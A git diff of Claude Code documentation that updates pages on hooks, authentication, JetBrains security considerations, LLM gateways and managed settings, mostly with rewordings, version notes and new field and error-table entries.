lifecycle. Claude Code fires the same hook events wherever it runs: sessions in the terminal, IDE extensions, the [Desktop app](/docs/en/desktop-quickstart), and [Claude Code on the web](/docs/en/claude-code-on-the-web). Use this reference to look up event schemas, configuration options, JSON input/output formats, and advanced features like async hooks, HTTP hooks, and MCP tool hooks. +Hooks are user-defined shell commands, HTTP endpoints, MCP tool calls, LLM prompts, or subagents that execute automatically at specific points in Claude Code's lifecycle. Claude Code fires the same hook events wherever it runs: sessions in the terminal, IDE extensions, the [Desktop app](/docs/en/desktop-quickstart), and [cloud sessions](/docs/en/claude-code-on-the-web). Use this reference to look up event schemas, configuration options, JSON input/output formats, and advanced features like async hooks, HTTP hooks, and MCP tool hooks. ## Hook lifecycle @@ -260,7 +260,7 @@ Where you define a hook determines its scope: | [Skill](/docs/en/skills) frontmatter | The rest of the session once the skill is invoked. See [Hooks in skills and agents](#hooks-in-skills-and-agents) | Yes, defined in the skill file | | [Subagent](/docs/en/sub-agents) frontmatter | While that subagent is running | Yes, defined in the subagent file | -Cloud sessions on [Claude Code on the web](/docs/en/claude-code-on-the-web) don't read your local `~/.claude/settings.json`; hooks there come from the repo and from your organization's server-managed settings. In a [self-hosted environment](/docs/en/self-hosted-environments-configuration#permissions-and-tool-approval), Claude Code also runs the hooks the operator seeded from the runner host's `~/.claude/`, and it runs the hooks in the runner image's managed settings file when that file is among the [managed sources Claude Code applies](/docs/en/managed-settings#how-claude-code-combines-managed-sources), which by default means only when neither server-managed settings nor an MDM-delivered Claude Code policy supplies the managed tier. See [what carries over from your setup](/docs/en/cloud-environments#what-carries-over-from-your-setup) for which files reach a cloud session. +[Cloud sessions](/docs/en/claude-code-on-the-web) don't read your local `~/.claude/settings.json`; hooks there come from the repo and from your organization's server-managed settings. In a [self-hosted environment](/docs/en/self-hosted-environments-configuration#permissions-and-tool-approval), Claude Code also runs the hooks the operator seeded from the runner host's `~/.claude/`, and it runs the hooks in the runner image's managed settings file when that file is among the [managed sources Claude Code applies](/docs/en/managed-settings#how-claude-code-combines-managed-sources), which by default means only when neither server-managed settings nor an MDM-delivered Claude Code policy supplies the managed tier. See [what carries over from your setup](/docs/en/cloud-environments#what-carries-over-from-your-setup) for which files reach a cloud session. For details on settings file resolution, see [settings](/docs/en/settings). @@ -1135,7 +1135,9 @@ The matcher value corresponds to how the session was initiated: Before v2.1.214, forked sessions reported source `"resume"`. -When you run `/clear` in an interactive session, the matching SessionStart hooks run in the background and the prompt accepts input again right away. Claude's first response still waits for the hooks to finish, so their context reaches Claude. If you run `/clear` again or switch to another conversation with a command such as `/resume` while those hooks are still running, Claude Code cancels them and discards their output. +When you start an interactive session, resume a conversation at launch with `--continue` or `--resume`, or run `/clear`, SessionStart hooks run in the background. You can type right away, and a conversation you resumed appears without waiting for the hooks. Claude's first response still waits for the hooks to finish, so their context reaches Claude. + +When you switch conversations with `/resume` inside a session, the switch waits for the hooks to finish instead. If you run `/clear` or switch to another conversation while background hooks are still running, nothing they return applies to the session. The same wait applies at launch, including a resumed session: a prompt you send while SessionStart hooks are still running doesn't reach Claude until they finish. @@ -1617,6 +1619,8 @@ A `Write` call on Windows delivers: The `tool_input` fields depend on the tool: + + ##### Bash Executes shell commands. @@ -1628,6 +1632,25 @@ Executes shell commands. | `timeout` | number | `120000` | Optional timeout in milliseconds. Values above the [maximum](/docs/en/tools-reference#bash-tool-behavior) are reduced to the maximum rather than rejected | | `run_in_background` | boolean | `false` | Whether to run the command in background | +When a Bash command changes files in a Git repository, Claude Code can record what changed. It records the changes in every permission mode when the [`bashEditDiffEnabled`](/docs/en/settings-reference#basheditdiffenabled) setting turns recording on; that setting's entry says which files can set it. Otherwise it records them only in auto mode and `bypassPermissions` mode, and only when Claude Code directs Claude to edit files through Bash. Set `bashEditDiffEnabled` to `false` to turn the recording off. Background commands and read-only commands carry no diff. + +Your [PostToolUse hook](#posttooluse) then receives the changed files in `tool_response.bashEditDiff`. The list covers what changed under the repository while the command ran. Files that Git ignores and files in submodules aren't listed. Requires Claude Code v2.1.269 or later. + + + The list is best effort and in public beta. Claude Code can miss a change, include a file that another process changed at the same time, or stop at its size limits. The field shape may change. Use the list to find what to review, not to enforce a policy. + + +`changedFiles` and `files` list what the command changed; the remaining fields say how complete and how reliable that list is. + +| Field | Type | Example | Description | +| :------------- | :------ | :------------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------- | +| `changedFiles` | array | `["/path/to/src/app.ts"]` | Absolute paths of the files the command changed, at most 200. Present whenever `files` holds a diff or `moreFiles` is above zero | +| `files` | array | `[{"filePath": "/path/to/src/app.ts", "hunks": [...]}]` | Diffs of up to 5 changed files, for display. `created` or `deleted` is `true` for a file the command added or removed | +| `moreFiles` | number | `2` | Count of changed files with no diff in `files` | +| `unavailable` | boolean | `true` | Set when the diff is incomplete or couldn't be taken | +| `skipped` | boolean | `true` | Set for a Git command that moves the working tree, such as `git checkout` or `git stash`, so Claude Code takes no diff | +| `shared` | boolean | `true` | Set when another Bash tool call, such as a subagent's, ran in the same repository at the same time, so some listed changes may be that command's | + ##### PowerShell @@ -1731,13 +1754,13 @@ Spawns a [subagent](/docs/en/sub-agents). | `subagent_type` | string | `"Explore"` | Type of specialized agent to use | | `model` | string | `"sonnet"` | Optional model alias to override the default | -When a foreground Agent call completes, your [PostToolUse hook](#posttooluse) receives the subagent's final text and run telemetry in `tool_response`. Read these fields to inspect the run; for token and cost rollups across subagents, use the [token and cost counters](/docs/en/monitoring-usage#token-counter) filtered to `query_source` `"subagent"`, since `totalTokens` and `usage` cover the final request only: +When a foreground Agent call completes, your [PostToolUse hook](#posttooluse) receives the subagent's result and run telemetry in `tool_response`. Read these fields to inspect the run; for token and cost rollups across subagents, use the [token and cost counters](/docs/en/monitoring-usage#token-counter) filtered to `query_source` `"subagent"`, since `totalTokens` and `usage` cover the final request only: | Field | Type | Example | Description | | :------------------ | :----- | :---------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `status` | string | `"completed"` | `"completed"` for foreground subagents, `"async_launched"` for background subagents. As of v2.1.198, subagents run in the background by default, so an omitted `run_in_background` also produces `"async_launched"` | | `agentId` | string | `"a4d2c8f1e0b3a297"` | Identifier for the subagent run | -| `content` | array | `[{"type": "text", "text": "Found 12 endpoints..."}]` | The subagent's final text blocks | +| `content` | array | `[{"type": "text", "text": "Found 12 endpoints..."}]` | The subagent's final text blocks, or, for a subagent whose report goes through `SubagentHandback`, a short note about that hand-back in their place | | `resolvedModel` | string | `"claude-sonnet-4-5"` | Model the subagent started on, which may differ from the requested model | | `modelsUsed` | array | `["claude-sonnet-4-5", "claude-haiku-4-5"]` | Models used in order, with consecutive repeats collapsed; set only when the model was swapped mid-run. Requires Claude Code v2.1.212 or later | | `totalTokens` | number | `12450` | Token count from the subagent's final API request: input, output, and cache tokens combined. This isn't a total across the whole run | @@ -1745,6 +1768,8 @@ When a foreground Agent call completes, your [PostToolUse hook](#posttooluse) re | `totalToolUseCount` | number | `7` | Count of tool calls the subagent made | | `usage` | object | `{"input_tokens": 8320, ...}` | Per-type token breakdown of the final API request: `input_tokens`, `output_tokens`, `cache_creation_input_tokens`, `cache_read_input_tokens` | +On Claude Code v2.1.271 or later, a subagent that runs with the [`SubagentHandback`](/docs/en/tools-reference) tool, which Claude Code provides in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), delivers its report through that tool rather than returning it as text. The `content` field of its `completed` result then carries a short note about that hand-back rather than the report itself. To read the report, match a `PreToolUse` or `PostToolUse` hook on `SubagentHandback` and read `tool_input.message`. + For background subagents, the tool returns when the task moves to the background, so `tool_response` carries no usage fields: a background launch returns immediately, and a foreground task that Claude Code backgrounds mid-run returns at that transition. It has `status: "async_launched"`, `agentId`, `description`, `prompt`, `outputFile`, and `resolvedModel`. On a `completed` response, `resolvedModel` names the model the subagent started on, which can differ from the `model` value in `tool_input`, such as when `availableModels` or another override applies. On an `async_launched` response, `resolvedModel` names the model in use when the agent moved to the background, so a swap that happened before backgrounding is reflected there. `modelsUsed` and the backgrounding-time `resolvedModel` behavior require Claude Code v2.1.212 or later. @@ -2369,6 +2394,8 @@ Runs when a Claude Code subagent has finished responding. Matches on agent type, In addition to the [common input fields](#common-input-fields), SubagentStop hooks receive `stop_hook_active`, `agent_id`, `agent_type`, `agent_transcript_path`, and `last_assistant_message`. The `agent_type` field is the value used for matcher filtering. The `transcript_path` is the main session's transcript, while `agent_transcript_path` is the subagent's own transcript stored in a nested `subagents/` folder. The `last_assistant_message` field contains the text content of the subagent's final response, so hooks can access it without parsing the transcript file. +On Claude Code v2.1.271 or later, a subagent that runs with the [`SubagentHandback`](/docs/en/tools-reference) tool delivers its report through that tool before it stops. The `last_assistant_message` field then holds the subagent's closing text, if any, which is not the delivered report. The report is that call's `message` input, which a `PreToolUse` or `PostToolUse` hook matched on `SubagentHandback` receives as `tool_input.message`. + SubagentStop hooks also receive the `background_tasks` and `session_crons` arrays described under [Stop input](#stop-input). Both arrays are scoped to the parent session, not the subagent. ```json theme={null} @@ -3316,12 +3343,19 @@ In addition to the [common input fields](#common-input-fields), SessionEnd hooks SessionEnd hooks have no decision control. They can't block session termination but can perform cleanup tasks. Claude Code discards their [JSON output fields](#json-output), such as `systemMessage`. -SessionEnd hooks have a default timeout of 1.5 seconds. This applies to session exit, `/clear`, and switching sessions via interactive `/resume`. If a hook needs more time, set a per-hook `timeout` in the hook configuration. The overall budget is automatically raised to the highest per-hook timeout configured in settings files, up to 60 seconds. Timeouts set on plugin-provided hooks don't raise the budget. To override the budget explicitly, set the `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS` environment variable in milliseconds. +SessionEnd hooks have a default timeout of 1.5 seconds. It applies when you exit, run `/clear`, or switch sessions with interactive `/resume`. You can give a hook more time in two ways: + +* **Per-hook `timeout`**: set `timeout` in that hook's configuration. The overall budget rises automatically to match the highest per-hook `timeout` in your settings files, up to 60 seconds. If you raise the budget this way, a hook without its own `timeout` still keeps the default. Timeouts set on plugin-provided hooks don't raise the budget. +* **`CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS`**: set this environment variable in milliseconds to override the budget explicitly. The value you set also becomes the timeout for each hook without its own `timeout`. + +This example sets the budget to 5 seconds: ```bash theme={null} CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS=5000 claude ``` +Before v2.1.268, `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS` raised only the overall budget, and a hook without its own `timeout` was still canceled after 1.5 seconds. + ### Elicitation Runs when an MCP server requests user input mid-task. By default, Claude Code shows an interactive dialog for the user to respond. Hooks can intercept this request and respond programmatically, skipping the dialog entirely. diff --git a/content/en/docs/claude-code/how-claude-code-works.md b/content/en/docs/claude-code/how-claude-code-works.md index eaba4489e7..b5594dcb31 100644 --- a/content/en/docs/claude-code/how-claude-code-works.md +++ b/content/en/docs/claude-code/how-claude-code-works.md @@ -76,7 +76,7 @@ Because Claude sees your whole project, it can work across it. When you ask Clau ## Environments and interfaces -The agentic loop, tools, and capabilities described above are the same everywhere you use Claude Code. What changes is where the code executes and how you interact with it. +The [agentic loop](#the-agentic-loop), [tools](#tools), and capabilities are the same everywhere you use Claude Code. What changes is where the code executes and how you interact with it. ### Execution environments diff --git a/content/en/docs/claude-code/iam.md b/content/en/docs/claude-code/iam.md index 03ceaf87cb..8638610fee 100644 --- a/content/en/docs/claude-code/iam.md +++ b/content/en/docs/claude-code/iam.md @@ -6,7 +6,7 @@ > Log in to Claude Code and configure authentication for individuals, teams, and organizations. -Claude Code supports multiple authentication methods depending on your setup. Individual users can log in with a Claude.ai account, while teams can use Claude for Teams or Enterprise, the Claude Console, or a cloud provider like Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. +Claude Code supports multiple authentication methods depending on your setup. Individual users can log in with a claude.ai account, while teams can use Claude for Teams or Enterprise, the Claude Console, or a cloud provider like Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. ## Log in to Claude Code @@ -20,8 +20,8 @@ When login completes, the terminal shows `Login successful` and prompts you to p You can authenticate with any of these account types: -* **Claude Pro or Max subscription**: log in with your Claude.ai account. Subscribe at [claude.com/pricing](https://claude.com/pricing?utm_source=claude_code\&utm_medium=docs\&utm_content=authentication_pro_max). -* **Claude for Teams or Enterprise**: log in with the Claude.ai account your team admin invited you to. +* **Claude Pro or Max subscription**: log in with your claude.ai account. Subscribe at [claude.com/pricing](https://claude.com/pricing?utm_source=claude_code\&utm_medium=docs\&utm_content=authentication_pro_max). +* **Claude for Teams or Enterprise**: log in with the claude.ai account your team admin invited you to. * **Claude Console**: log in with your Console credentials. Your admin must have [invited you](#claude-console-authentication) first. You can sign in with or without [creating an API key](#sign-in-without-an-api-key). * **Cloud providers**: if your organization uses [Amazon Bedrock](/docs/en/amazon-bedrock), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry), set the required environment variables before running `claude`, or select **3rd-party platform** at the login prompt, which launches an interactive setup wizard for Bedrock and Vertex AI. No browser login is needed. * **Cloud gateway**: if your organization runs a self-hosted [Claude apps gateway](/docs/en/claude-apps-gateway), sign in with corporate SSO through `/login`. The gateway-issued token is the session's only credential. @@ -60,7 +60,7 @@ For teams and organizations, you can configure Claude Code access in one of thes - Team members install Claude Code and log in with their Claude.ai accounts. + Team members install Claude Code and log in with their claude.ai accounts. @@ -174,7 +174,7 @@ Claude Code securely manages your authentication credentials: * On Windows, credentials are stored in `%USERPROFILE%\.claude\.credentials.json` and inherit the access controls of your user profile directory, which restricts the file to your user account by default. * If you've set the `CLAUDE_CONFIG_DIR` environment variable, Claude Code keeps the `.credentials.json` file under that directory instead, including the file the macOS fallback writes, and keys the macOS Keychain entry to that directory too, so a session with a different `CLAUDE_CONFIG_DIR` reads a different entry. * Claude Code manages `.credentials.json` through `/login` and `/logout`. To route requests through a custom API endpoint, set the [`ANTHROPIC_BASE_URL`](/docs/en/env-vars) environment variable instead. -* **Supported authentication types**: Claude.ai credentials, Claude API credentials, Microsoft Foundry Auth, Bedrock Auth, Vertex Auth, Anthropic profile and [Workload Identity Federation](https://platform.claude.com/docs/en/manage-claude/workload-identity-federation) credentials, and [Claude apps gateway](/docs/en/claude-apps-gateway) session tokens. +* **Supported authentication types**: claude.ai credentials, Claude API credentials, Microsoft Foundry Auth, Bedrock Auth, Vertex Auth, Anthropic profile and [Workload Identity Federation](https://platform.claude.com/docs/en/manage-claude/workload-identity-federation) credentials, and [Claude apps gateway](/docs/en/claude-apps-gateway) session tokens. * **Custom credential scripts**: configure the [`apiKeyHelper`](/docs/en/settings-reference#apikeyhelper) setting to run a shell script that returns an API key. * **Refresh intervals**: Claude Code re-runs `apiKeyHelper` after five minutes by default. Set the `CLAUDE_CODE_API_KEY_HELPER_TTL_MS` environment variable for custom refresh intervals. See [`apiKeyHelper`](/docs/en/settings-reference#apikeyhelper) for the other cases in which Claude Code re-runs the helper. * **Slow helper notice**: if `apiKeyHelper` takes longer than 10 seconds to return a key, Claude Code displays a warning notice in the prompt bar showing the elapsed time. If you see this notice regularly, check whether your credential script can be optimized. @@ -216,7 +216,7 @@ If you have an active Claude subscription but also have `ANTHROPIC_API_KEY` set Run `unset ANTHROPIC_API_KEY` to fall back to your subscription, and check `/status` to confirm which method is active. When a login and an API key are both configured, `/status` marks the credential that isn't in use. -[Claude Code on the Web](/docs/en/claude-code-on-the-web) always uses your subscription credentials. If you set `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` in the sandbox environment, it doesn't override your subscription credentials. +[Cloud sessions](/docs/en/claude-code-on-the-web) always use your subscription credentials. If you set `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` in the cloud environment, it doesn't override your subscription credentials. #### Anthropic profiles and federation credentials diff --git a/content/en/docs/claude-code/jetbrains.md b/content/en/docs/claude-code/jetbrains.md index fac82aee7f..9417e9b45f 100644 --- a/content/en/docs/claude-code/jetbrains.md +++ b/content/en/docs/claude-code/jetbrains.md @@ -189,7 +189,7 @@ If clicking the Claude icon shows "command not found": ## Security considerations -When Claude Code runs in a JetBrains IDE in [`acceptEdits` permission mode](/docs/en/permission-modes#auto-approve-file-edits-with-acceptedits-mode), it may be able to modify IDE configuration files that can be automatically executed by your IDE. This may increase the risk of running Claude Code in `acceptEdits` mode and allow bypassing Claude Code's permission prompts for bash execution. +When Claude Code runs in a JetBrains IDE in [`acceptEdits` permission mode](/docs/en/permission-modes#auto-approve-file-edits-with-acceptedits-mode), it may be able to modify IDE configuration files that can be automatically executed by your IDE. This may increase the risk of running Claude Code in `acceptEdits` mode and allow bypassing Claude Code's permission prompts for Bash execution. When running in JetBrains IDEs, consider: diff --git a/content/en/docs/claude-code/llm-gateway-connect.md b/content/en/docs/claude-code/llm-gateway-connect.md index a56de7a57a..ee91df9957 100644 --- a/content/en/docs/claude-code/llm-gateway-connect.md +++ b/content/en/docs/claude-code/llm-gateway-connect.md @@ -256,9 +256,9 @@ The [Agent SDK](/docs/en/agent-sdk/overview) has no gateway-specific options; it ``` -### Slack, web, and Remote Control +### Slack, cloud sessions, and Remote Control -[Claude Code in Slack](/docs/en/slack) and [Claude Code on the web](/docs/en/claude-code-on-the-web) are Anthropic-hosted products that always use Anthropic's API; they aren't part of a gateway deployment. Gateway variables set in a cloud session's environment configuration are not applied. If your traffic must stay on the gateway, don't enable these surfaces for those users. +[Claude Code in Slack](/docs/en/slack) and [cloud sessions](/docs/en/claude-code-on-the-web) always use Anthropic's API; they aren't part of a gateway deployment. Gateway variables set in a cloud session's environment configuration are not applied. If your traffic must stay on the gateway, don't enable these surfaces for those users. [Remote Control](/docs/en/remote-control) and [voice dictation](/docs/en/voice-dictation) both rely on a claude.ai identity: Remote Control to pair a live session with your account, and voice dictation to reach the claude.ai transcription endpoint. They are unavailable while `ANTHROPIC_API_KEY`, `ANTHROPIC_AUTH_TOKEN`, or an `apiKeyHelper` is active. Remote Control is also disabled while `ANTHROPIC_BASE_URL` points at a non-Anthropic host, so signing in with claude.ai isn't enough on its own. Before v2.1.196, a non-Anthropic base URL didn't block Remote Control. @@ -531,6 +531,7 @@ These are the most common errors when running Claude Code through a gateway, wit | `400` errors naming `context_management`, `Extra inputs are not permitted`, or other unrecognized fields | The gateway forwards requests to an upstream that rejects fields Claude Code sends to Anthropic-format endpoints | Set `CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1`, which suppresses most pre-release fields; see [feature pass-through](/docs/en/llm-gateway-protocol#feature-pass-through). Some betas aren't gated by this flag; for those, set the matching `CLAUDE_CODE_USE_*` provider variable so Claude Code sends only what that provider accepts | | `400` errors naming `thinking` or `adaptive`, such as `Input tag 'adaptive' found` | The upstream model build doesn't accept adaptive reasoning, which Claude Code requests for Claude 4.6 and later models | Upgrade the gateway's upstream. On Opus 4.6 and Sonnet 4.6, `CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1` works instead. The [model configuration](/docs/en/model-config) capability variables apply only to the provider configurations, such as `CLAUDE_CODE_USE_BEDROCK` and `CLAUDE_CODE_USE_VERTEX`, not behind an `ANTHROPIC_BASE_URL` gateway | | `400` errors stating a context or token limit in the gateway's own words, such as `ContextWindowExceededError` or `prompt token count of N exceeds the limit of M` | The gateway enforces a smaller context than the model's native window and rewrites the upstream error, so Claude Code doesn't recognize it as a [too-long error](/docs/en/errors#prompt-is-too-long) and doesn't compact and retry automatically | Run `/compact` to recover the session. To prevent it, set `CLAUDE_CODE_AUTO_COMPACT_WINDOW` to the gateway's limit; Claude Code clamps the value to at least 100,000 tokens and at most the model's context window, so you can't match a gateway limit below 100,000, and `/compact` remains the recovery there. Also set `CLAUDE_CODE_MAX_OUTPUT_TOKENS` below the gateway model's output limit | +| `400` errors on every request, in the gateway's own words rejecting a tool's input schema or its `pattern`, on Claude Code v2.1.265 through v2.1.267 | In a gradual rollout on those versions, the [Artifact tool](/docs/en/artifacts#availability) schema carries a regular expression with `\p{...}` Unicode character classes. The Anthropic API accepts it, but a gateway or upstream that checks each tool schema's `pattern` with its own regex engine rejects the whole request | Update to v2.1.268 or later, which doesn't send the regular expression. On an affected version, [turn artifacts off](/docs/en/artifacts#disable-artifacts), which removes the tool and its schema from requests | | Models missing from the `/model` picker | Gateway model names aren't in Claude Code's built-in list, or Claude Code is showing a [`modelPicker`](/docs/en/settings-reference#modelpicker) lineup that replaces the built-in options | Enable [gateway model discovery](#add-gateway-models-to-the-model-picker) or add names with the [model configuration](/docs/en/model-config) variables. If Claude Code shows a replacing `modelPicker` lineup, add the gateway models to it, or ask your administrator to add them when managed settings supply it | | `/fast` reports `Fast mode unavailable due to network connectivity issues` while inference requests work | The [fast mode](/docs/en/fast-mode) availability check goes directly to `api.anthropic.com` and doesn't follow `ANTHROPIC_BASE_URL`, so blocked direct egress fails the check. The same message appears on an open network when the check presents a gateway-issued key from `ANTHROPIC_API_KEY` or an `apiKeyHelper` and Anthropic rejects it | Allowlist `api.anthropic.com` if egress is blocked, or set a skip variable; for a rejected gateway key only the skip variables help. See [use fast mode behind proxies and LLM gateways](/docs/en/fast-mode#use-fast-mode-behind-proxies-and-llm-gateways) | | `/fast` reports `Fast mode has been disabled by your organization` in a session authenticated with `ANTHROPIC_AUTH_TOKEN`, even though the organization has fast mode enabled | The availability check requires a claude.ai login or an Anthropic API key; with only a bearer token, Claude Code treats fast mode as disabled without sending the check | Set `CLAUDE_CODE_SKIP_FAST_MODE_ORG_CHECK=1`; see [use fast mode behind proxies and LLM gateways](/docs/en/fast-mode#use-fast-mode-behind-proxies-and-llm-gateways) | diff --git a/content/en/docs/claude-code/llm-gateway-protocol.md b/content/en/docs/claude-code/llm-gateway-protocol.md index 1e1e9795ac..60daf95f91 100644 --- a/content/en/docs/claude-code/llm-gateway-protocol.md +++ b/content/en/docs/claude-code/llm-gateway-protocol.md @@ -89,7 +89,7 @@ Claude Code includes these headers on API requests. Header names are case-insens | `x-claude-code-agent-id` | Identifier of the [subagent](/docs/en/sub-agents) that issued the request, present only on requests from an agent Claude Code spawned inside the session. Use it with the session ID to attribute cost to parallel agents | | `x-claude-code-parent-agent-id` | Identifier of the agent that spawned the requesting agent, present only for nested agents | -Subagent IDs are generated fresh for each spawn. Teammate agents, the named members of an [agent team](/docs/en/agent-teams), reuse a stable name-based ID across reconnections. In both cases the ID identifies an agent, not a person or a device, so don't treat the agent ID header as a user identifier. +Subagent IDs are generated fresh each time Claude Code spawns a subagent. Teammate agents, the named members of an [agent team](/docs/en/agent-teams), reuse a stable name-based ID across reconnections. In both cases the ID identifies an agent, not a person or a device, so don't treat the agent ID header as a user identifier. If your developers set `ANTHROPIC_CUSTOM_HEADERS`, those headers appear on requests as well. diff --git a/content/en/docs/claude-code/llm-gateway-rollout.md b/content/en/docs/claude-code/llm-gateway-rollout.md index 2823b61941..b0e23c134e 100644 --- a/content/en/docs/claude-code/llm-gateway-rollout.md +++ b/content/en/docs/claude-code/llm-gateway-rollout.md @@ -157,7 +157,7 @@ A wrong or unreachable base URL produces a different symptom: Claude Code [retri ### Distribute the configuration -Every developer machine needs the gateway address and a credential. You can distribute them centrally through [managed settings](/docs/en/managed-settings#delivery-mechanisms), so developers configure nothing, or hand developers the values to set themselves. +Every developer machine needs the gateway address and a credential. You can distribute them centrally through [managed settings](/docs/en/managed-settings#delivery-mechanisms), so developers configure nothing, or give developers the values to set themselves. #### What to distribute diff --git a/content/en/docs/claude-code/managed-mcp.md b/content/en/docs/claude-code/managed-mcp.md index c9a774c24f..27224ae7a3 100644 --- a/content/en/docs/claude-code/managed-mcp.md +++ b/content/en/docs/claude-code/managed-mcp.md @@ -494,6 +494,6 @@ Every file and setting this page covers, what it controls, and how to deliver it * [Decide what to enforce](/docs/en/admin-setup#decide-what-to-enforce): MCP restrictions alongside permission rules, sandboxing, and the other admin controls * [Connect Claude Code to tools via MCP](/docs/en/mcp): the full MCP reference, including transports, scopes, and authentication * [Settings](/docs/en/settings): the settings hierarchy and how managed settings take precedence -* [Server-managed settings](/docs/en/server-managed-settings): deliver `allowedMcpServers` and `deniedMcpServers` from the Claude.ai admin console +* [Server-managed settings](/docs/en/server-managed-settings): deliver `allowedMcpServers` and `deniedMcpServers` from the claude.ai admin console * [Security](/docs/en/security): the threat model these controls defend against * [Claude Enterprise Administrator Guide](https://claude.com/resources/tutorials/claude-enterprise-administrator-guide): SSO, SCIM, seat management, and rollout playbook diff --git a/content/en/docs/claude-code/managed-settings.md b/content/en/docs/claude-code/managed-settings.md index 085e8fd9d8..4554da6354 100644 --- a/content/en/docs/claude-code/managed-settings.md +++ b/content/en/docs/claude-code/managed-settings.md @@ -56,7 +56,7 @@ This is the quickest way to put a policy on each machine: a `managed-settings.js The file in the steps above is one of four ways to get managed settings onto a machine. Every mechanism carries the same policy keys as a `settings.json` file, so the [settings reference](/docs/en/settings-reference) applies to all of them. A few keys are tied to particular sources, and each entry's Scope line says which: * **Delivery controls**: [`policyHelper`](/docs/en/settings-reference#policyhelper), [`wslInheritsWindowsSettings`](/docs/en/settings-reference#wslinheritswindowssettings), and [`managedSourcesBehavior`](/docs/en/settings-reference#managedsourcesbehavior) -* **Gateway login keys**: [`forceLoginGatewayUrl`](/docs/en/settings-reference#forcelogingatewayurl) and the `"gateway"` value of [`forceLoginMethod`](/docs/en/settings-reference#forceloginmethod) +* **Gateway login keys**: [`forceLoginGatewayUrl`](/docs/en/settings-reference#forcelogingatewayurl), [`gatewayInternalNetworks`](/docs/en/settings-reference#gatewayinternalnetworks), and the `"gateway"` value of [`forceLoginMethod`](/docs/en/settings-reference#forceloginmethod) A managed settings file, an MDM profile, or the claude.ai console applies one policy to everyone it reaches. To give one group of developers a different policy, deploy a different file or profile to that group; the claude.ai console [can't target a group yet](/docs/en/server-managed-settings#current-limitations), while a self-hosted [Claude apps gateway](/docs/en/claude-apps-gateway) delivers managed settings per IdP group. @@ -134,7 +134,7 @@ When your organization delivers more than one managed source to the same machine * **`"first-wins"`, the default**: Claude Code uses the highest-ranked source that delivers at least one policy key and ignores the rest rather than merging them, apart from the keys in [Keys read from every admin source](#keys-read-from-every-admin-source). Claude Code shows no warning for the sources it skips; `/status` [names the source it used and the ones it skipped](#read-the-source-in-/status). * **`"merge"`**: Claude Code applies every admin source that delivers a policy key and combines them by kind of key: on most keys the higher-ranked source's value applies, lists union, and locks take the strictest value. [Compose every managed source](#compose-every-managed-source) says where to set the key and how each kind of key combines. Requires Claude Code v2.1.242 or later. -Both settings rank the sources the same way. Two terms recur in this section: +Both settings rank the sources the same way. These terms recur in this section: * **Policy key**: any settings key other than the two control keys, [`wslInheritsWindowsSettings`](/docs/en/settings-reference#wslinheritswindowssettings) and [`managedSourcesBehavior`](/docs/en/settings-reference#managedsourcesbehavior). A managed settings file or MDM policy that contains only those doesn't count, and Claude Code moves on to the next source. * **Admin source**: one of the first three sources below. The HKCU registry is user-writable and isn't one. @@ -172,7 +172,7 @@ The cross-source keys include: * [`forceRemoteSettingsRefresh`](/docs/en/server-managed-settings) * `env`, merged per variable across the admin sources: each variable comes from the highest-priority source that defines it, so lower sources fill in variables the higher ones leave unset. A few variables follow their own rules; [Per-key exceptions across managed sources](/docs/en/server-managed-settings#per-key-exceptions-across-managed-sources) names each one. Requires Claude Code v2.1.223 or later. Before v2.1.223, Claude Code applied the selected source's whole `env` block only -The [gateway login keys](#choose-a-delivery-mechanism), [`forceLoginGatewayUrl`](/docs/en/settings-reference#forcelogingatewayurl) and the `"gateway"` value of [`forceLoginMethod`](/docs/en/settings-reference#forceloginmethod), follow a separate rule. Claude Code never reads them from server-managed settings, so while server-managed settings are the selected source, the highest-ranked admin source on the machine that carries a policy key still supplies them. A value in an admin source ranked below that one, or in the HKCU registry, is ignored. +The [gateway login keys](#choose-a-delivery-mechanism) follow a separate rule. Claude Code never reads them from server-managed settings, so while server-managed settings are the selected source, the highest-ranked admin source on the machine that carries a policy key still supplies them. A value in an admin source ranked below that one, or in the HKCU registry, is ignored. ### Compose every managed source @@ -248,7 +248,7 @@ After you deploy the policy, Claude can save files under that folder in a new Co ### What a developer can change -A developer's own settings files, `--settings` values, and project files never override a managed value; the [exceptions](/docs/en/settings#exceptions-to-managed-settings-precedence) only let a stricter lower-level value count. Four things sit outside that rule: +A developer's own settings files, `--settings` values, and project files never override a managed value; the [exceptions](/docs/en/settings#exceptions-to-managed-settings-precedence) only let a stricter lower-level value count. These cases sit outside that rule: * **The model for a session**: a managed `model` is a default, not a lock. `--model` and `ANTHROPIC_MODEL` still pick the model for that session, so deploy [`availableModels`](/docs/en/settings-reference#availablemodels) to restrict the choice. * **Local admin rights**: a developer who is an administrator on the machine can edit the managed source itself, which is why MDM tooling can redeploy the profile or file on a schedule and why the HKLM registry and the macOS managed preferences domain exist. @@ -330,6 +330,7 @@ A few enforcement keys aren't dropped when invalid. Claude Code enforces a stric | `availableModels` | Enforced as an empty allowlist until fixed, so only the Default model is available; a non-string entry is stripped and the valid subset enforced. | | `enforceAvailableModels` | Treated as `true`. | | `forceLoginOrgUUID` | No organization is permitted to log in until the value is fixed. | +| `gatewayInternalNetworks` | When the invalid value comes from the highest managed source on the machine, `/login` refuses every new [cloud gateway](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own) sign-in on that machine until the value is fixed. | | `crossSessionInbound` | Treated as `refuse`, the most restrictive value, so inbound [cross-session messages](/docs/en/cross-session-messaging#control-inbound-messages) are refused until the value is fixed. The developer sees [a warning](/docs/en/errors#crosssessioninbound-must-be-one-of-accept-hold-refuse). | | `deniedMcpServers` | An individual invalid entry is stripped and the valid subset is enforced. A wholly invalid value is dropped with a warning, since denying every server would block servers the policy never named. | | 